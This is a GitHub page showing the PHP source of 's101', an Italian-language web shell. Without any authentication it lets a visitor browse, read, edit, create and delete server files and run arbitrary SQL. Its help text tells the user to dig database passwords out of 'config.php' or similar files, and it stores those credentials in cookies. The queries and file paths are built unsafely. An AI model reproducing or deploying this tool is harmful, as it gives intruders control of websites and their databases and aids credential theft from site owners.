-
Notifications
You must be signed in to change notification settings - Fork 4
/
s101.php
executable file
·398 lines (340 loc) · 10.1 KB
/
s101.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
<?php
error_reporting(0);
echo "
<html>
<head>
<title>s101 v0.2.5</title>
<STYLE type='text/css'>
body{
background-color: #57A2C1;
scrollbar-face-color : 0000FF ;
scrollbar-track-color : 57A2C1 ;
scrollbar-highlight-color : 319585 ;
scrollbar-3dlight-color : 5174A3 ;
scrollbar-shadow-color : 224535 ;
scrollbar-arrow-color : 319585 ;
scrollbar-darkshadow-color : 319585 ;
}
div{
border-style:double;
}
div.record{
border-style:solid;
width:120px
}
input.text{
background-color: #57A2C1;
border: 0;
}
textarea{
border: 0;
background-image: url(immagine.png);
background-attachment: inherit;
background-repeat: no-repeat;
}
}
textarea:hover{
background-color: #83AEC9;
border: 0;
}
div.modifok {
background-color: #99CCFF;
border: medium double rgb(0,0,0);
}
div.modifno {
background-color: #FF0000;
border: medium double rgb(0,0,0);
}
</STYLE>
<script type='text/javascript'>
var opac;
opac = 0;
function modifok(){
if(opac < 1){
mess.style.opacity = opac;
opac += 0.01;
setTimeout('modifok()', 30);
}
}
function contlet(){
var testo = document.leggi.contenuto.value;
var len = testo.length;
pesocont.innerHTML = 'Peso attuale:' + len + 'Kb';
}
function indietro(){
history.go(-1);
}
</script>
</head>
";
$dir=$_GET["dir"];
if($dir != ""){
$dir=$dir;
}else{
$dir=".";
}
$se= $_SERVER['PHP_SELF'];
switch($azione){
case "leggi":
$mod = $_GET["mod"];
$file = $_GET["file"];
if($mod == "1"){
$file = $file;
echo "<body onload='modifok()'>";
echo "<div id='mess' class='modifok' align='center'>File Modificato con successo</div>";
}else{
echo "<body>";
$file = $dir . "/" . $file;
}
$peso= filesize($file);
$f = fopen($file, 'r');
$contenuto = fread($f , filesize($file));
$contenuto = htmlspecialchars($contenuto);
$im = imagecreatetruecolor(1000,7000);
$bg = imagecolorallocate($im,87,162,193);
$rec = imagecolorallocate($im,87,162,193);
$col = imagecolorallocate($im,0,0,0);
$bg2 = imagecolorallocate($im,87,162,193);
imagefill($im,0,0,$bg);
imagerectangle($im,10,10,190,190,$rec);
imagefill($im,11,11,$bg2);
$li = 1;
$y = 2;
while($li <= 1000){
imagestring($im,2,900,$y,"$li",$col);
$li++;
$y += 16;
}
imagepng($im,"immagine.png");
echo "<div align='center'>
<form action='$se?dir=$dir&azione=edita&file=$file' name='leggi' method='post'>
Stai Modificando il file:$file <br />
<div id='pesocont'>Peso del file: $peso Kb </div><br />
<textarea rows='20' cols='120' name='contenuto' onkeyup='contlet()' id='contenuto' bgproperties='fixed'>$contenuto</textarea>
<br />
<input type='submit' value='Modifica'>
</form>
<a href='$se?dir=$dir'>Torna indietro</a>
$sestesso
</div>
";
imagedestroy($im);
break;
case "crea":
echo "<div align='center'>
Crea un file in questa directory: $dir
<form action='$se?dir=$dir&azione=make' method='post'>
Nome(ed estensione):<input type='text' name='nome'><br />
<textarea rows='20' cols='120' name='contenuto'></textarea>
<br />
<input type='submit' value='Crea'>
</form>
</div>
";
break;
case "make":
$nuovocont = stripslashes($_POST['contenuto']);
$file = $_POST["nome"];
if($dir == "."){
$file = $file;
}else{
$file = $dir . "/" . $file;
}
if(!file_exists($file)){
$f = fopen($file, 'a');
fwrite($f, $nuovocont);
fclose($f);
$location= "$se?dir=$dir";
header("Location: $location");
}else{
echo "il file esiste gia. Cambia nome!<script>setTimeout('indietro()', 3000);</script>";
}
break;
case "edita":
$nuovocont = stripslashes($_POST['contenuto']);
$file = $_GET["file"];
$f = fopen($file, 'w+');
fwrite($f, $nuovocont);
fclose($f);
$location= "$se?dir=$dir&azione=leggi&file=$file&mod=1";
header("Location: $location");
echo "fatto";
break;
case "cartella":
$cartella = $_POST['nome'];
$cartella = $dir . "/" . $cartella;
mkdir($cartella);
$location= "$se?dir=$dir";
header("Location: $location");
break;
case "cancella":
if(file_exists($file)){
unlink($file);
$location= "$se?dir=$dir";
header("Location: $location");
}else{
echo "Il file non esite";
}
break;
//-----------------------------------------------------------------------------------------------------------SQL
case "sql":
$in=$_GET["in"];
$sezione=$_GET["sez"];
if(isset($host)){
$hostname=$HTTP_COOKIE_VARS["host"];
$user=$HTTP_COOKIE_VARS["user"];
$pass=$HTTP_COOKIE_VARS["pass"];
$dbase=$HTTP_COOKIE_VARS["dbase"];
$connection = mysql_connect("$hostname" , "$user" , "$pass");
$db = mysql_select_db($dbase , $connection);
}
switch($sezione){
case "logga":
$hostname=$_POST["host"];
$user=$_POST["user"];
$pass=$_POST["pass"];
$dbase=$_POST["dbase"];
setcookie ("host",$hostname,time()+2592000,"/");
setcookie ("user",$user,time()+2592000,"/");
setcookie ("pass",$pass,time()+2592000,"/");
setcookie ("dbase",$dbase,time()+2592000,"/");
$location= "$se?azione=sql&in=si&sez=home";
header("Location: $location");
break;
case "home":
echo "<div style='border-style:double' align='center'>";
echo "Elenco tabelle presenti nel DataBase<br>";
$q="show tables";
$result= mysql_query($q, $connection) or die ("Errore: " . mysql_error());
while ($rows = mysql_fetch_array($result)) {
echo "<a href='$se?azione=sql&in=si&sez=tabella&tab=" . $rows[0] . "'>" . $rows[0] . "</a><br>";
}
echo "</div>";
break;
case "tabella":
$tab = $_GET["tab"];
$nomecheck = "0";
echo "<div style='border-style:double' align='center'>";
echo "Elenco campi presenti nella Tabella:<b> $tab</b> <br>";
$q="Show columns from $tab";
$result= mysql_query($q, $connection) or die ("Errore: " . mysql_error());
echo "<form action='$se?azione=sql&in=si&sez=campo' method='post'>";
while ($rows = mysql_fetch_array($result))
{
$nomecheck++;
echo "<input type='checkbox' name=campo[] value='". $rows[0] . "'>". $rows[0] . "<br>";
}
echo "<input type='hidden' name='tab' value='$tab'>";
echo "<input type='submit' value='Vedi'>";
echo "</form>";
echo "</div>";
break;
case "campo":
echo "<div style='border-style:double;' align='center'>";
echo "Elenco tabelle presenti nel DataBase<br>";
$tab = $_POST["tab"];
$campo = $_POST["campo"];
echo "<div style=display:block;' align='center'>";
foreach($campo as $value){
echo "<div style=display:table-cell;' class='record' align='center'>";
echo "<div style=display:table-row;' class='record' align='center'>$value</div>";
$q="select $value from $tab";
$result= mysql_query($q, $connection) or die ("Errore: " . mysql_error());
while ($row = mysql_fetch_array($result)) {
$valore = $row["$value"];
echo "<div style=display:table-row;border-style:double;' width='200'>";
echo "$valore <br>";
echo "</div>";//
}
echo "</div>";//kiude row
}
echo "</div>";//kiude block
echo "</div>";//kiude tutto
break;
case "esegui":
$query=$_POST["query"];
$q="$query";
mysql_query($q, $connection) or die ("<b>Attenzione!</b> La query: \"$query\" non ? stata eseguita per il seguente errore:<br> " . mysql_error());
echo "<div align='center'>query eseguita con successo</div>";
break;
case "slogga":
setcookie("host");
$location= "$se?azione=sql";
header("Location: $location");
break;
default:
echo "<div style='border-style:double' align='center' >
Pannello di controllo SQL v 0.1<br>
Da qui puoi gestire il database sql senza molti problemi.<br>
L'host ? quasi sempre localhost ma controlla il cofing.<br>
Per ottenre l'username e la password trova il file config.php o simile che contiene le password.<br>
in Altervista il database ? \"my_nomeuser\" per tutti gli altri host il database lo torvi nel config.<br>
<form action='$se?azione=sql&sez=logga' method='post'>
Host:<input type='text' name='host'><br>
Username:<input type='text' name='user'><br>
Password:<input type='text' name='pass'><br>
Database<input type='text' name='dbase'><br>
<input type='submit' value='Logga'>
</form>
</div>
";
break;
}
$in=$_GET["in"];
if($in == "si"){
echo"
<div align='center'>
<form action='$se?azione=sql&in=si&sez=esegui' method='post'>
<textarea rows='8' cols='30'></textarea><br>
<input type='submit' value='Esegui'>
</form>
</div>
";
echo "<div align='center'><a href='$se'>Home</a> <a href='$se?azione=sql&sez=sloggati'>Logout</a></div>";
}
break;
//-----------------------------------------------------------------------------------------------------FINE SQL
default :
echo "<div align='center'>s101 Interamente creata da Sora101.<br>Siete liberi di modificarla ma vi prego di tenere i crediti.</div>";
echo "<div align='center' style='border-style:double'>";
echo "<a href='?dir=$dir&azione=crea'>Crea un nuovo file</a><br>";
echo "<a href='?azione=sql'>Pannello SQL</a><br>";
echo "
<form action='$se?dir=$dir&azione=cartella' method='post'>
Crea cartella:<input type='text' name='nome'>
<input type='submit' value='Crea'>
</form>
";
echo "</div>";
echo "<br>";
$col = 0;
echo "<div style='display:block;border-style:double' align='center'>";
echo "<div style='width:130;display:table-cell'>";
if ($handle = opendir("$dir")) {
while (($file = readdir($handle)) !== false) {
$check= ".";
$cartelcheck = strpos($file, $check);
if($col < 10){
if($file == "." || $file == ".."){continue;}
echo "<div style='display:table-row;'>";
if($cartelcheck === FALSE){
echo "<a href='?dir=$dir/$file'>$file</a><br />";
}else{
echo "<a href='?dir=$dir&azione=leggi&file=$file'>$file</a><a href='$se?dir=$dir&azione=cancella&file=$dir/$file'><img src='http://iconlet.com/icons/eclipse/project/obj16/delete_obj.gif'></a><br />";
}
echo "</div>";
$col++;
}else{
echo "</div>";
echo "<div style='width:130;display:table-cell;'>";
$col = 0;
}
}
echo "</div>";
closedir($handle);
}
echo "<div align='center'><br /><a href='javascript:history.go(-1)'>Torna indietro</a></div></div>";
break;
}
echo "</html>";
?>